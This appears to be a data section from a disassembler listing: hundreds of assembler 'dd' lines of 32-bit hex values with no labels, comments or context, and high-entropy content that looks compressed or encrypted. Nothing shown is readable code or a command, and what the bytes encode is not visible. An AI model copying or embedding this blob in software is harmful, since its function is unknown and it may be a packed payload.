		dd 4FF88322h, 0D609448Eh, 0F57C4776h, 0ABE2F1C0h, 0D680632Fh
		dd 72591977h, 62F82EBFh, 97DE9627h, 0B249AACh, 0A402888Fh
		dd 0FFBCCD1Eh, 290D0C93h, 9290F6D3h, 0C701075Bh, 3F8B4D3Dh
		dd 6A7E8230h, 390A20Ch,	7F2D5EC0h, 0B2E84EC2h, 0E13FC141h
		dd 9D09F403h, 5EA9ED88h, 7F680994h, 61C27A10h, 0F57238B4h
		dd 0EE0BB6CCh, 0C069477Dh, 0D21E1D8Fh, 5882B864h, 912A1994h
		dd 36F8BE36h, 0C03958E7h, 68072048h, 0B5E85AA3h, 0B0C4945Dh
		dd 0E22C803Dh, 0A53BE867h, 0D94B2076h, 9D6FC218h, 80436CAh
		dd 7543AA59h, 940445FDh, 2668E6C8h, 0E9A62641h,	69166382h
		dd 7F0C5709h, 300CF63Ah, 0E462E72h, 71C413C3h, 29FE498Bh
		dd 144A4223h, 0E997E495h, 49B58D7Fh, 3AFCA014h,	48629745h
		dd 0B679484h, 33BD5866h, 282CE2EAh, 0A42DBBECh,	0E8F8E5D1h
		dd 0B566E82Ch, 4DA061D0h, 15A2619h, 9868FCD0h, 0BE68A82Bh
		dd 5440799Fh, 1EBAA91Dh, 30490F5Ch, 3F4CBCC6h, 0B5E9113Eh
		dd 88BF8F96h, 0D541EC7Bh, 52C34D42h, 440CD77Bh,	0FACB0187h
		dd 0B83B58E5h, 0A8BD5E15h, 16838850h, 4273E54h,	18D7288Fh
		dd 82D913FEh, 0BDA75AD5h, 4430D051h, 15C605D0h,	0A71E7D67h
		dd 3EB66A59h, 1682B909h, 42E80220h, 5E46917h, 6F84857Ch
		dd 0D6BE01F3h, 802F2622h, 576B06B9h, 0D2F02924h, 559C0822h
		dd 8BB0E017h, 4BEDB551h, 0E9F12982h, 80F8C817h,	59E23AC3h
		dd 6835EB3Ch, 33970625h, 5A252224h, 5380DD21h, 22BB73AFh
		dd 0E8E6816h, 52E81960h, 0B0364AA6h, 600DFA5h, 0E5D14171h
		dd 0C4E7CAE9h, 0F3F030E3h, 0C30C78E6h, 0ECE14CE9h, 56330FB8h
		dd 5E4B60C5h, 0DB77D7E2h, 5963E4Ah, 31062842h, 188281A2h
		dd 0A5815BEBh, 4825B568h, 37128851h, 4F84BE7h, 5880C04Ah
		dd 0BFF8DD44h, 96BE2A02h, 75DF29AAh, 7772B042h,	89972898h
		dd 0BA96556Fh, 78897196h, 329CD7E4h, 354E6871h,	0A3BA3524h
		dd 0CAE5A18h, 179058EDh, 1AD90316h, 0EBCC4FBAh,	51480FEh
		dd 16B9514Bh, 0ABE8452Eh, 70E9C901h, 0E1D833BEh, 7469380Ah
		dd 85A420FAh, 8AB6814h,	1E02D380h, 40454A73h, 82AA4068h
		dd 0B7121076h, 0A56113A1h, 0C7D1F26Eh, 7CC0C32Dh, 50F80168h
		dd 5EE90705h, 0A97D124Ah, 8C489F48h, 7AE90613h,	78B7EB45h
		dd 2D6F0965h, 0E757446Dh, 2DE12CBBh, 0F9BE7CD9h, 33D72E2Ah
		dd 613ADC97h, 742BE950h, 68125E93h, 1C603D93h, 985522B0h
		dd 0B8BE0A05h, 19F9D4Ah, 2D04C9CEh, 0E0C845Fh, 8EC2FB07h
		dd 82415CD6h, 9841AF9Eh, 2C8B440h, 89BD14F2h, 796257B3h
		dd 74E90B02h, 685831C8h, 0E604642Dh, 9D31E0B1h,	0F71CEF48h
		dd 291D2E08h, 88D325CAh, 549FE905h, 4BA1E1FCh, 0E31781FCh
		dd 457E6649h, 0D321972Eh, 0BC2FD7D9h, 0D56529DFh, 2203716h
		dd 0CAE295B3h, 919FB84Ch, 8C63F346h, 7F0B1E92h,	731C1001h
		dd 0DA4B6849h, 478FB198h, 802CBAB8h, 16BBEA53h,	8D9823A7h
		dd 0ADCD4E29h, 0D2AB9221h, 0F770C4D6h, 93E5941h, 19F166D9h
		dd 0B7DAA46Fh, 70145C92h, 5E19E464h, 0F8EF5301h, 2D3509D7h
		dd 0E6CC7267h, 509DFA7Ah, 1280DB8Fh, 0BE143F24h, 8EB2D0Ah
		dd 9E65A18h, 68263217h,	4177981Ah, 496E29DCh, 0A5837E75h
		dd 0D2EAE925h, 9F709B89h, 0DC736A29h, 0B7D97E66h, 0A2C1186Ch
		dd 1ABF2D63h, 8A7A882Ah, 76C25D3Eh, 0D410CA24h,	26A47712h
		dd 0E2350338h, 0D6895641h, 5FDFC294h, 13B6870h,	51D3AED5h
		dd 0C4F7218Fh, 61E2F062h, 9C545616h, 7E95EE67h,	0EC0A70A6h
		dd 7EEECBC0h, 0F70F2D30h, 0FB059FCDh, 79154801h, 0DF7549A3h
		dd 8332B77Fh, 2FF3A2E9h, 0FA6DC61Dh, 0C8337D27h, 0BD65905Fh
		dd 2270EE04h, 0B1AEE904h, 66A7E825h, 853949Dh, 9B47E959h
		dd 27AA5B17h, 0B8DCB4AFh, 35BD0497h, 41877E53h,	5C0961C4h
		dd 0B74A9E1Ch, 575EB809h, 0F99DAA1Eh, 18E94164h, 71306EBCh
		dd 4A6E54EDh, 0B75BD029h, 3D08F946h, 2C0A67E9h,	0B5F23B38h
		dd 3564D08Bh, 0B4060ACAh, 71309F02h, 5A5E4143h,	9FE57FCEh
		dd 0B00970AFh, 1B4CC96Eh, 5E4B9C94h, 817D0EF6h,	0D702EF84h
		dd 0DA1D78CBh, 8FBC616Bh, 52DB5802h, 5611F627h,	8FE961C4h
		dd 0FE7712FEh, 0FE53BD9Ch, 473A4C4Bh, 0FADB5BDBh, 0AA1B16F4h
		dd 23A2104Ch, 1CAA5A13h, 2068C58Fh, 17F8B201h, 2AF9D0ECh
		dd 0E627F8DEh, 538831D9h, 0A14849BBh, 732F036Bh, 42DBDC61h
		dd 9D9ADDECh, 8C20F9C4h, 0D20090D7h, 7D75E36Dh,	30B67776h
		dd 0BC1A013Dh, 293AE90Eh
		dd 0A6BE84C3h, 8EE986B6h, 0C1293B51h, 56A1CBFFh, 4B166457h
		dd 39BBA850h, 5C3CDEC1h, 9768125Ah, 0AF39BF42h,	0BDBA8580h
		dd 0BF4B3323h, 0E90BB962h, 27787Dh, 5E82959h, 7F0C0155h
		dd 0CC40AFB0h, 60749F88h, 5E4830B3h, 34B2A073h,	69A4434Fh
		dd 4801E31Fh, 1AA53093h, 0E83E2009h, 5BEB5001h,	0AFCBC405h
		dd 85ED7928h, 11450226h, 702725C2h, 95191886h, 132D0C6Bh
		dd 506CD525h, 9F71B73Ah, 2630B88h, 887CEA80h, 15A102F5h
		dd 0BB40FC2Eh, 0B2EFB596h, 0C14B8B1Eh, 0A67B59A5h, 5CF24C7h
		dd 0D3EEE445h, 0F293D65Bh, 0A1DC0840h, 69EE73C0h, 0ECC1B450h
		dd 13DB79F4h, 0EEF64CE4h, 0AFB8940Eh, 0C5ECAFDCh, 6492E628h
		dd 797B57D7h, 18E8C184h, 787A04AFh, 0E6503261h,	7AF82699h
		dd 0DEDB6BF9h, 58D57E0Dh, 16B11F60h, 62F502h, 99337484h
		dd 3BF3E9F0h, 9AAAC0C5h, 6FEC16B9h, 0A2B6EE21h,	0A7127076h
		dd 0D2ACE8F8h, 62133B0Bh, 0A1C05F14h, 0EB7630DDh, 211E595Ch
		dd 64B78114h, 0D854F653h, 3D25E901h, 881B59D4h,	8003A4F8h
		dd 9BC060E1h, 60C9B203h, 0BC7EF6EFh, 927FEFC3h,	0AC4B5260h
		dd 5FB5803h, 3AAD5897h,	6C0351ADh, 1C552A7h, 3294FE6Ch
		dd 76390AB9h, 10E46ED6h, 0B865A29h, 8F19F38h, 0C37DB05h
		dd 0C1F32A82h, 982E7C44h, 59F29AFh, 98BB4C5Dh, 59648F15h
		dd 5188EA11h, 45855A58h, 0A5096DE1h, 225EFC6Bh,	37C95250h
		dd 10DB6812h, 1E010C0Ch, 58A40285h, 0A759E934h,	625571CAh
		dd 0EBE07F30h, 7A132DC3h, 0EEA966DCh, 193F3048h, 736C8CBh
		dd 25971809h, 0E9F0E04Fh, 0B0CB4CFCh, 3821AF96h, 0B26B5490h
		dd 0E32D056Bh, 92106F5Ah, 0D306088h, 0F53F2BC9h, 9950997Ch
		dd 80F13EEh, 3575E03Ch,	5B330AF6h, 0C005220Bh, 0BF4348DDh
		dd 0F920E4C2h, 471932BAh, 9D34E8F1h, 1AB6D7D2h,	11CF609h
		dd 88F6A7CCh, 7B958C4Ah, 0FB0166D4h, 639F6A52h,	0D664C561h
		dd 0FD5CB531h, 5FA50053h, 700CC92Dh, 0D8682923h, 0F02C0842h
		dd 0A5580E10h, 6E5DF4Ah, 0AE51E957h, 0A8424F14h, 44ADB1E5h
		dd 0D542A26Fh, 99F2D9Fh, 4B095CFh, 0D7C348E9h, 3DCF6253h
		dd 0C6C1D104h, 0F04DD2Ch, 18A294C6h, 5D7A893Ch,	0C935C597h
		dd 4B816DDh, 7B151197h,	0C016B221h, 5556DBF7h, 0E8401BDh
		dd 0D0E96D15h, 9EE33FDAh, 0A5132C94h, 0F797FCC3h, 0A97AF2h
		dd 0DB42A7BAh, 20AB1348h, 0B527B93h, 0B9F42DBFh, 49C198D5h
		dd 186796F2h, 6C5A24EBh, 1D14F0BFh, 5259DCCAh, 0B0FA0B75h
		dd 7AEE6C90h, 70B9282Dh, 0E0C94155h, 0C77D80F7h, 13536648h
		dd 0F0F40FAEh, 9B1A7B11h, 80CA28B2h, 5A89520Ch,	0F00C84FAh
		dd 63126A44h, 38D41612h, 0D5E90813h, 73BEA80h, 7B983962h
		dd 83D4EB41h, 1CED6CCh,	3DD1B103h, 0BC842AE7h, 0C31B92FEh
		dd 5012DF56h, 562D8FEh,	0CF10B60Bh, 0A0020935h,	771EB810h
		dd 427B29h, 48CE4DE5h, 18C50905h, 74BCF55Ah, 0DCDD10h
		dd 0F172A2Dh, 1249353Ah, 0AA24F357h, 4347251Fh,	0A2501B52h
		dd 0B77408B1h, 3161D1AEh, 0E57CBB76h, 6E761CDh,	7F140C08h
		dd 38C0F564h, 4546C17Eh, 5DEF0078h, 3E11B85Eh, 68B45241h
		dd 71BF5700h, 121EA118h, 0B8D79AE9h, 241DD612h,	0F7906067h
		dd 0F068B5D9h, 4827A1DFh, 3C9E7EEFh, 3A41F283h,	0E2F87008h
		dd 14373D3Ch, 1DA71853h, 0B5AB0265h, 0EFE81409h, 0A36B8D2Dh
		dd 0E0D38055h, 9B6A7E68h, 0E4230BF5h, 6382A812h, 0D14105B9h
		dd 666801C5h, 2FCC5FC6h, 3015DC80h, 0E9537309h,	0BBB760AFh
		dd 5B65391Ah, 2D87C04Eh, 2B027938h, 69E9553Ch, 5A2E7E8h
		dd 0F802ED83h, 6FD885AFh, 5518948Bh, 0D5C3A53Eh, 2E33221Eh
		dd 0EAC409D6h, 9456F0EEh, 0A5596038h, 4BED965Bh, 778C1493h
		dd 0EB53F45Fh, 772F4C12h, 57E459ECh, 8B82E80Fh,	8236765Ah
		dd 6F03116h, 8B6421E1h,	0DFD80934h, 0E927B994h,	4278054Ah
		dd 0C793981Ch, 52D39BAh, 0D869098Eh, 5E44595Ch,	0D8D818BCh
		dd 78301BABh, 3FE80C06h, 0B5754BF4h, 0C0806D8h,	0E95F1480h
		dd 40C03175h, 9D6873B2h, 836BB905h, 0C2DBE950h,	0B3F8C34Eh
		dd 565AF602h, 0FBDE4107h, 9E166ABBh, 3A04D016h,	0F3A85EF0h
		dd 58743B1h, 475F1200h,	5816052h, 0CB352DF5h, 1786ED07h
		dd 31EA8DD8h, 6ECF3A81h, 0F052CA63h, 620D3168h,	5AF5AE4h
		dd 0E05C387Fh, 2AD29FE3h, 0E0B9A90h, 7648350h, 60120888h
		dd 0CF7BC076h, 0E2464C1Fh, 0A162D718h, 0BA1D6857h, 92683F6Fh
		dd 66503727h, 552E2002h, 7585CE90h, 18395D08h, 152DEC59h
		dd 287BA72Eh, 96F45A97h, 0EEF34B07h, 0DCF66B22h, 0DED4272Ch
		dd 0C3B3979h, 6DC45D03h, 5827197Ch, 51997509h, 6B8E3050h
		dd 7321E726h, 305BDE83h, 0B8D0BB46h, 4E208710h,	15AF14EDh
		dd 762EA00Fh, 490EBA13h, 5BBDFA40h, 7FC10030h, 16D9402h
		dd 8817392h, 9AAC3E5Bh,	52D156DEh, 48C6A86Dh, 5E9F4385h
		dd 401290CBh, 8B75E85Ah, 556C02F7h, 0E27F7E44h,	0BD03C960h
		dd 7D9FD093h, 7CCD0581h, 0EA09AD2Fh, 34390500h,	0E3CAE962h
		dd 0D5F62C80h, 5966E888h, 68C18606h, 2E79128Ah,	7187785Bh
		dd 5D680083h, 9E65972Eh, 3D411528h, 4C2CB20h, 576B2DA2h
		dd 6ECF942h, 654C3488h,	6F39000Ch, 0D701C280h, 4E4BFEE9h
		dd 0ECE87025h, 4BEB311Fh, 0FD7E0A4Dh, 1841392h,	4BB0CFAFh
		dd 1CA79AACh, 0CB0581CBh, 1B9C727Dh, 6B14D280h,	0C67602Bh
		dd 33D07782h, 0C20E4361h, 5CEAD95Ah, 9C010B68h,	0C5266847h
		dd 0DE01FBC8h, 292E7B6Dh, 82840DBh, 9151535Dh, 2AFFCA27h
		dd 368A9AABh, 6861A6B6h, 99730B57h, 4E006548h, 0E910C26Eh
		dd 0BBBF5848h, 0C6F88219h, 1E5C3098h, 0CAFCF193h, 31711206h
		dd 709659CEh, 0C27C9FB3h, 6067E978h, 3CF723F5h,	575F4850h
		dd 0C45A59BCh, 0F54594ECh, 0E380FF70h, 5C4B2971h, 0C4040E3h
		dd 0A08D2FE9h, 17670E2Ah, 1C1EA717h, 0B5A8B604h, 3FC5B14Ah
		dd 0A54E69FEh, 8B4545E7h, 277771E9h, 0FE21C774h, 0F9EC585Fh
		dd 0D628BFB4h, 6302088Fh, 0E217AB20h, 9E042B51h, 0E0175F64h
		dd 91B2D259h, 9798B93Ch, 58B8767Eh, 1516CD93h, 6F9FAABFh
		dd 0F412441Bh, 8A40C292h, 1D3E33D1h, 1E50926Bh,	64052420h
		dd 0F71C5C04h, 8E7CD525h, 0DA491665h, 19FC7451h, 2BB056B5h
		dd 0D558560Bh, 78D2931Bh, 6F77175Ah, 7B65C6B5h,	0E8358023h
		dd 523E220Bh, 358E5F48h, 1850AC21h, 2EA42AFCh, 0B56DB2CEh
		dd 71427450h, 97E7B414h, 0BA582820h, 19E1D4C5h,	56956542h
		dd 0D328AEDDh, 0B792B85Eh, 0DDFE9EF2h, 1C743CA1h, 5362075h
		dd 5F4E7709h, 0E9D08171h, 89A76C4Bh, 0F1C3225Dh, 0F1FB5530h
		dd 2A22E904h, 52ADD6h, 62D65919h, 0E4451F2Dh, 460D5F1Eh
		dd 0A00BA6C9h, 0B56E4FF6h, 420BBFF1h, 0E905E171h, 55BC6598h
		dd 0CD9562C4h, 6ACA60C1h, 9F98082h, 0C0204E12h,	829670Ch
		dd 0FF920122h, 0FB410882h, 5B127D2Ch, 0B292D71Eh, 0BBF08E0h
		dd 0A1C648Bh, 430C8200h, 0A2B70421h, 35BD92Eh, 4CBADC88h
		dd 0D1274774h, 0A64BA409h, 0F1E9C148h, 470A9D7Fh, 0DCA06193h
		dd 2845BD5Fh, 0D670BB8Bh, 0F8D57253h, 47510BDDh, 8A4820D2h
		dd 0FFC0E30Dh, 132928F5h, 0E0489D44h, 73146EC5h, 2A811A9Bh
		dd 0B23CC8DAh, 42512D3Dh, 444EC0A8h, 5E6B3DE3h,	3B7E907Fh
		dd 7F041F39h, 2E4BFE9h,	0DFCE8956h, 0B99A50C2h,	0A531CFD7h
		dd 0E9E1C056h, 8F7B2EA9h
		dd 741425E4h, 9068C783h, 5E63946Fh, 5AE4E939h, 0E673B2E3h
		dd 0B7519F05h, 90ACACC4h, 9055A50h, 155B7693h, 23480200h
		dd 14E6770h, 805D9E1h, 57CFB204h, 0F2805B03h, 0CA937013h
		dd 129ECBB8h, 0BE9BF08Ch, 6F60230Bh, 27A7E18h, 470BBB2Dh
		dd 2CAF21E1h, 5B582E8Fh, 3536E660h, 39428242h, 57780809h
		dd 0B921D631h, 9932C546h, 196C5A58h, 0F3AA9C56h, 2F86787Fh
		dd 5E737584h, 0CBFB583Ah, 0DB65845Fh, 0EE3E74EAh, 6EE78D84h
		dd 4A74AE4Fh, 0F7B32CEBh, 1536DF60h, 107C5756h,	635AE9h
		dd 0BA696C2Dh, 12DB053Bh, 0CA54C64Fh, 360B7EDBh, 0F114985Fh
		dd 17E9E16Ah, 0F8040464h, 30B7BDDDh, 7026680Bh,	0AF6253D6h
		dd 0E05A05D6h, 0DC5E3D2Dh, 0A3258844h, 211062AEh, 50A33DF6h
		dd 0E6545789h, 12D99D30h, 0A358BA71h, 0B23017CBh, 0C8B0B36h
		dd 8D8BA45Ch, 0EC65D14Eh, 0D834E98Fh, 8AEFC9C6h, 0FABC7635h
		dd 2EDC004h, 30754D0Bh,	95B93E63h, 0F92D95E7h, 8B5BA7D6h
		dd 125A02EFh, 1071C127h, 915B900h, 156E409h, 0D18082CBh
		dd 972D22Ah, 1667D31Bh,	52133370h, 0C2C0EA89h, 0F0E9435Dh
		dd 0BFC0AE1Eh, 38789541h, 6AEC5B04h, 3F27AFE5h,	7A846643h
		dd 13545A9Fh, 5E8EAA13h, 0E9163320h, 25B31073h,	61C0D412h
		dd 3899BE2h, 274AF15Dh,	428CA382h, 5F60572Ch, 34331484h
		dd 58010C6Ah, 0CF331B5Fh, 37BAF9A1h, 58287058h,	0DC0CBB41h
		dd 0C628B21h, 164B1763h, 0F9F8007Fh, 2941A7FBh,	0CF2CCB4Eh
		dd 589F01EBh, 0ED68030Eh, 1F326E4Fh, 64C8D73Fh,	641340C5h
		dd 8EE00CB5h, 5C02E92Bh, 0C146C67Dh, 272A137Ch,	7D2FD56Ch
		dd 20ED248Bh, 3BFCE813h, 304151B2h, 0DF5B0226h,	95C47336h
		dd 0BEACB76Ch, 8B7504E5h, 52C7C842h, 1CC04614h,	35CC09D8h
		dd 0DFE0554Fh, 3E7D4A49h, 0B5E040F1h, 4C5A0D43h, 5F68D0A4h
		dd 4B7B4428h, 0F61A71h,	9861AD83h, 1EDEC0Dh, 681E6541h
		dd 73FB43E9h, 0F3AD4FD0h, 5D0B9005h, 0F999EB11h, 0AFF5246Dh
		dd 8AC590B3h, 0D3A9ED40h, 7DF3BA01h, 317C5C31h,	0AAF963C4h
		dd 0A14A3AF3h, 926C7DFEh, 0EC12D7B8h, 0A645B81Ch, 0E71CB5B7h
		dd 0F0ACDBB4h, 0D0A21016h, 2ADBC280h, 0A89E1215h, 4A08EA14h
		dd 0D60966FCh, 8004B51Fh, 35D7BACCh, 0AB447A60h, 7689030h
		dd 610392E1h, 5BC9CE6Ah, 252AAF4h, 5F154DD5h, 5C0421C6h
		dd 296D4934h, 0B4E20852h, 0D0BF7F28h, 0EF5D984Ch, 9405B229h
		dd 0AA3C5F33h, 1168C580h, 67BC9623h, 4CC18E85h,	0CCF1215Eh
		dd 75FE1C1h, 71C957A2h,	0B198F8D2h, 7D5B0B13h, 0FC8FEEB0h
		dd 0C14F163Ah, 1D9D04EBh, 40FC1713h, 9EDED902h,	0B9C03108h
		dd 0BB80903Dh, 0E40C1EDDh, 0DA528C18h, 62E2615h, 0F300DCD0h
		dd 11D92503h, 87DB5FF7h, 0BC3FC75Dh, 89FE970Ch,	58391950h
		dd 955BE740h, 0DD6260DCh, 0C6054999h, 0C5CFECDCh, 0F2BEEC3h
		dd 5E65CDAAh, 498CA0Eh,	6E63685Ch, 4F2916D8h, 2374ABC1h
		dd 68F32CBEh, 0F2BD485Fh, 0C575126Bh, 93CC4B9h,	6813604Dh
		dd 6E0D3FF2h, 0C1808849h, 0CD8105EDh, 933FB612h, 0BF7F01BFh
		dd 314FBD65h, 957A80Bh,	0F887CF2Dh, 0A7F10B89h,	0D180A021h
		dd 996CACC9h, 86183E61h, 0C06B9744h, 0FC4CC6E0h, 0A3020CDFh
		dd 0CA75C86Bh, 4368DF3Dh, 1B3239F2h, 84F7544Eh,	20F85D07h
		dd 15E0E260h, 0C297B8BCh, 0D53942BCh, 0E4FD19B2h, 0C0812007h
		dd 0CC133B90h, 0B4044989h, 0BA85DEFh, 7E6D68B1h, 2AE019CDh
		dd 0A0387D96h, 9E1910F4h, 0FB68E111h, 0C6CE3B71h, 6858C302h
		dd 71466C5Eh, 49F9799Fh, 2CCB704h, 7E3A7A68h, 6A0159DBh
		dd 0A1307EB5h, 0AA09BDACh, 218B08D9h, 0ED5F05FBh, 817840AEh
		dd 43354DE3h, 3AC404BDh, 52D234B8h, 0A16F98A3h,	0D167E09Fh
		dd 0C78F97E2h, 7A20EE49h, 885B38B9h, 20A0555Eh,	4D169F7h
		dd 0B20F3900h, 95FBAACh, 0E2E21A0Fh, 0FE46DE3Dh, 483609F5h
		dd 0F4C7DE8h, 294B5306h, 0EA805FFAh, 0E2D2779h,	681489D9h
		dd 267B4894h, 82083CAh,	60171CD0h, 9A0D3318h, 0A0CC01Eh
		dd 0E9556524h, 0CCF41925h, 755726A9h, 4C774055h, 895E6EB3h
		dd 0AAD28EA2h, 2281EEC4h, 252EA16Ah, 0C49CEF49h, 0CDA9546Dh
		dd 82A7B8F0h, 0E5EA6071h, 2DC90016h, 2883079Bh,	551C829h
		dd 0ACC17E07h, 3000EFEBh, 200358E7h, 0C2805BFAh, 83B6F188h
		dd 92010325h, 99E8D331h, 0C392BCA5h, 7502D1A8h,	467F9DC2h
		dd 513DF873h, 0A82B08EAh, 4DDD4F76h, 6B49CE41h,	68B4A03Ah
		dd 6098405Eh, 193816FDh, 9419BB14h, 906B0726h, 0E349F7C1h
		dd 0E2A9FE2Fh, 20AD8017h, 123E3236h, 4D5C0EE9h,	9804DA41h
		dd 77A4FF80h, 0DE7625CFh, 0C1203C5Ah, 0DB5E503Eh, 96BD41EFh
		dd 21BABED8h, 3F03963Fh, 978A74E3h, 4E04589h, 120BC7A9h
		dd 0C5A85E18h, 18571790h, 21FCB145h, 65E26B16h,	414AC4D9h
		dd 3AE427A9h, 408C8131h, 0D0410502h, 0B5F02A8Fh, 0CE3316D2h
		dd 8F91AA1Eh, 203C77E9h, 0BE364132h, 2D177052h,	9AE287Ah
		dd 0E46078EEh, 3A9FF021h, 4989F629h, 0BA52E200h, 0C00121Ah
		dd 9BE563Ah, 0B0644349h, 20834B62h, 368B6841h, 0BF00189Fh
		dd 64F183Bh, 0B0C97E29h, 2D6F92Dh, 7C1AE9DAh, 0C11D2EE9h
		dd 36149168h, 7970277Ah, 88518447h, 2A09AEF9h, 50A9581Ch
		dd 40869852h, 0F733805Fh, 0B10A06ADh, 0E7E461C7h, 8C12CC6Eh
		dd 509F4906h, 6CA03370h, 23FFC377h, 4C1666E3h, 0D0EBB9B0h
		dd 7343E9DCh, 0F5C87AE1h, 4E520B1Ah, 0A9504B54h, 89AFB9A1h
		dd 1C4818BFh, 13F39011h, 0BFCD93E9h, 2D2B9D39h,	90DC6BD1h
		dd 28964056h, 1DD0DE48h, 0F49D0CECh, 6364C45Dh,	306CEA1Dh
		dd 715DC181h, 0F5EC348Fh, 0E259C9A0h, 0C6A1A00h, 999A0A2Eh
		dd 0EAFE116h, 0DBE96C04h, 9FB8FBA0h, 2AD3AB38h,	17B5609h
		dd 687BFE44h, 458170Ch,	12C28CC3h, 0FE7409EFh, 1BF1712Bh
		dd 2437C5CBh, 0B34E12DEh, 0D6CA124Bh, 502A6AF7h, 0C9B0904Fh
		dd 0DF815533h, 20C94831h, 5D98DD5Fh, 0BE0396BCh, 0B06559h
		dd 2857C78Ah, 0F70118BFh, 8A2EFF0h, 7AA821F9h, 89A83E01h
		dd 5AD72982h, 0F62CF8D5h, 56ABB092h, 9460DFECh,	2818F6A3h
		dd 4E25248Dh, 0A2B5027Eh, 8EB41E0h, 2158C207h, 0ED602723h
		dd 604F4A02h, 198B1853h, 6A950B06h, 0E90802A5h,	25B8D4E0h
		dd 0C6689521h, 6DFB8944h, 6BAD767Fh, 0CCA83BFDh, 45BEF4BFh
		dd 5E83BC41h, 9EE41CBh,	0BD0307DBh, 0C4B0FBFh, 3451D165h
		dd 73C3A324h, 1CEB7BA9h, 0C25BD828h, 0CD09E9F8h, 2D487452h
		dd 6B700CDh, 0A1A90235h, 64FB48Ch, 2886DDE9h, 0E340E59Dh
		dd 0A24BF09Eh, 9261F2h,	6762893Ah, 6320E976h, 29519FDBh
		dd 2ECD273Dh, 3B35C435h, 0DCA1B3E9h, 0BF6681DAh, 1A955822h
		dd 207DA12Ch, 0FF907405h, 65699D35h, 62D7A401h,	0C12F751Ah
		dd 2A4FD263h, 133A82E3h, 0C0594445h, 0E74596EAh, 9702415Bh
		dd 4C530668h, 253105EBh, 1C967AE0h, 0CE81C1A2h,	24F121DCh
		dd 0A9181323h, 0AA4CD873h, 1FB3E0Fh, 8147CD1Dh,	0A5E96319h
		dd 0C4532CE3h, 0C141A987h, 21CE2309h, 258AF038h, 0D8919E27h
		dd 315195CEh, 0D0BFCFC4h, 90685534h, 77F03909h,	6E90775Dh
		dd 0F9A44CB6h, 7E389178h, 69BE5A16h, 4057EEFh, 0B4E86166h
		dd 9E6EE2E7h, 2EA74655h, 80ECA492h, 1CFB366Dh, 3F8CB31h
		dd 8EA7F34Dh, 40F4074Ah, 0C294B1D4h, 1CC5D1AAh,	0BDC60423h
		dd 0FC3EE126h, 0F1E9E0C5h
		dd 8F3A95F3h, 0DFE2B40h, 480E2506h, 0BD0DF935h,	10F42989h
		dd 0BBAA043h, 575E5D78h, 0CB69FC06h, 8702C018h,	82B1A063h
		dd 343D28F9h, 0A9883B83h, 4A7F72DCh, 0CB51A25Eh, 40596094h
		dd 3088B80Dh, 0EF962C41h, 0BF406FF4h, 0D5812FE9h, 0B309835Bh
		dd 88D3710Dh, 0BB00ED27h, 0BACC1379h, 59CB2529h, 8E6C9F2h
		dd 7CEB014Ah, 0BC0B0DC8h, 5632EC43h, 860A0BFEh,	5797B553h
		dd 0E08500BFh, 0E96C8316h, 0B1A2125Fh, 5ACF7107h, 5B24B2B5h
		dd 0D137AEDAh, 12313450h, 8E683E5Eh, 1E396DFh, 0ED138DB7h
		dd 6A0C827Dh, 0D6A6A2AFh, 44490D9Eh, 9FEAF84Bh,	57472D09h
		dd 2C31DC59h, 24FF0973h, 0AFBC2C51h, 743D8955h,	0CDA788B8h
		dd 13D6B914h, 7BE862BFh, 0EE33BF4Ah, 680B179Bh,	0DE34B884h
		dd 0BD96D404h, 8FBB5681h, 0FB8987Eh, 6F5D3E60h,	9E4F294Ch
		dd 0CEF18135h, 2B0D9458h, 1DD2DEE0h, 5643AC37h,	0F9C2876Bh
		dd 9E08D85Bh, 72F18250h, 3CE0E049h, 0E8931C2Bh,	6580ED97h
		dd 3D068EBFh, 0DA2D44ABh, 0DBD148C2h, 0C25A6889h, 4CBEF52Eh
		dd 4769E979h, 0FDD2402Bh, 9BA54C50h, 296F1317h,	0C865EC5Fh
		dd 2094C69Dh, 0B900D3E8h, 22885DA4h, 0CC91D9F7h, 5F9AFDF8h
		dd 92C5585Bh, 12445080h, 0E9E80C5Ch, 0EA6108BEh, 0FACDDC1Fh
		dd 0BFF4907Dh, 2D02916h, 158C3CDh, 0A76C5661h, 169D666Bh
		dd 5470314h, 122DE8AFh,	53420B07h, 0F749787Bh, 0CEBED045h
		dd 0B89D5481h, 581B8AFh, 0E51F5B41h, 5B803F31h,	730815C5h
		dd 0BC295EA5h, 40084153h, 6A6FCD55h, 1A68B737h,	7FBDFF60h
		dd 0B3F0C421h, 0B0F540D7h, 0BF9F16EFh, 0D3BC60C9h, 1AB97403h
		dd 0D27B9E31h, 16A2F4E1h, 854EA2ACh, 0C5EA53B1h, 50D903EAh
		dd 0CF93FC88h, 579ABB1h, 32E0C7BEh, 185507E0h, 0B7840516h
		dd 992434E6h, 1ACE1554h, 0D0F3626Bh, 0F694B549h, 3E9A2DFCh
		dd 7B72789Dh, 167A1056h, 0FD290301h, 24DEE9h, 2BCAF1EFh
		dd 0CF316021h, 25AD595Ch, 32EF0F6Ah, 8701C813h,	87CB84DDh
		dd 2C0B83Fh, 522D95EDh,	14517E57h, 0B84808C5h, 655D393Ch
		dd 3723F124h, 6DC04958h, 0E91271F2h, 0D4BEC4D9h, 0DFDC2D2h
		dd 62B0A376h, 0FFD6852h, 5A76AD46h, 0ED8780E4h,	70CC93B2h
		dd 4CAD2568h, 6680809Ah, 10834D96h, 41C98102h, 7E59B270h
		dd 822C846Fh, 9C67C64Ch, 73248C94h, 3C1DC402h, 84BDC2Dh
		dd 0B9016293h, 48822E75h, 823AFC20h, 0E4E18EC1h, 1EB853ECh
		dd 0E0277D09h, 5952565Eh, 68FDC01Ah, 70E9490Ch,	0A40B586h
		dd 5F65B80Eh, 52E00FD3h, 1E2D5800h, 21758302h, 3C038AB8h
		dd 4C262507h, 24F1A73Bh, 0D820C522h, 946812CDh,	326082Ah
		dd 12440616h, 5C05A281h, 84B61651h, 0DEE6BA39h,	1EB0AB50h
		dd 2EC12806h, 0ACA30CE7h, 0D295919Dh, 0A6472082h, 0D7F54ABFh
		dd 0A1687CE8h, 3A09DBB9h, 259661Eh, 44145098h, 5327429h
		dd 3EE05E0Ch, 48220D6Bh, 0E90E2952h, 530A522Ch,	3080E3A0h
		dd 0D69823B7h, 6DE3A118h, 0B4F65096h, 6B4873B6h, 0A0288BA0h
		dd 0C6EE8156h, 4F1B1241h, 0D26AEC5Bh, 0EB80CD41h, 0CE61305Fh
		dd 0EC6BC3CDh, 88FAA44Ah, 88ECEE05h, 6E5F0A4Fh,	4D87BF41h
		dd 0BF7063FDh, 0ACE6B315h, 0AFC00857h, 0F5E9511Ah, 19F47129h
		dd 4E7B6878h, 0A35CE841h, 2ECEE160h, 1A776730h,	80363D03h
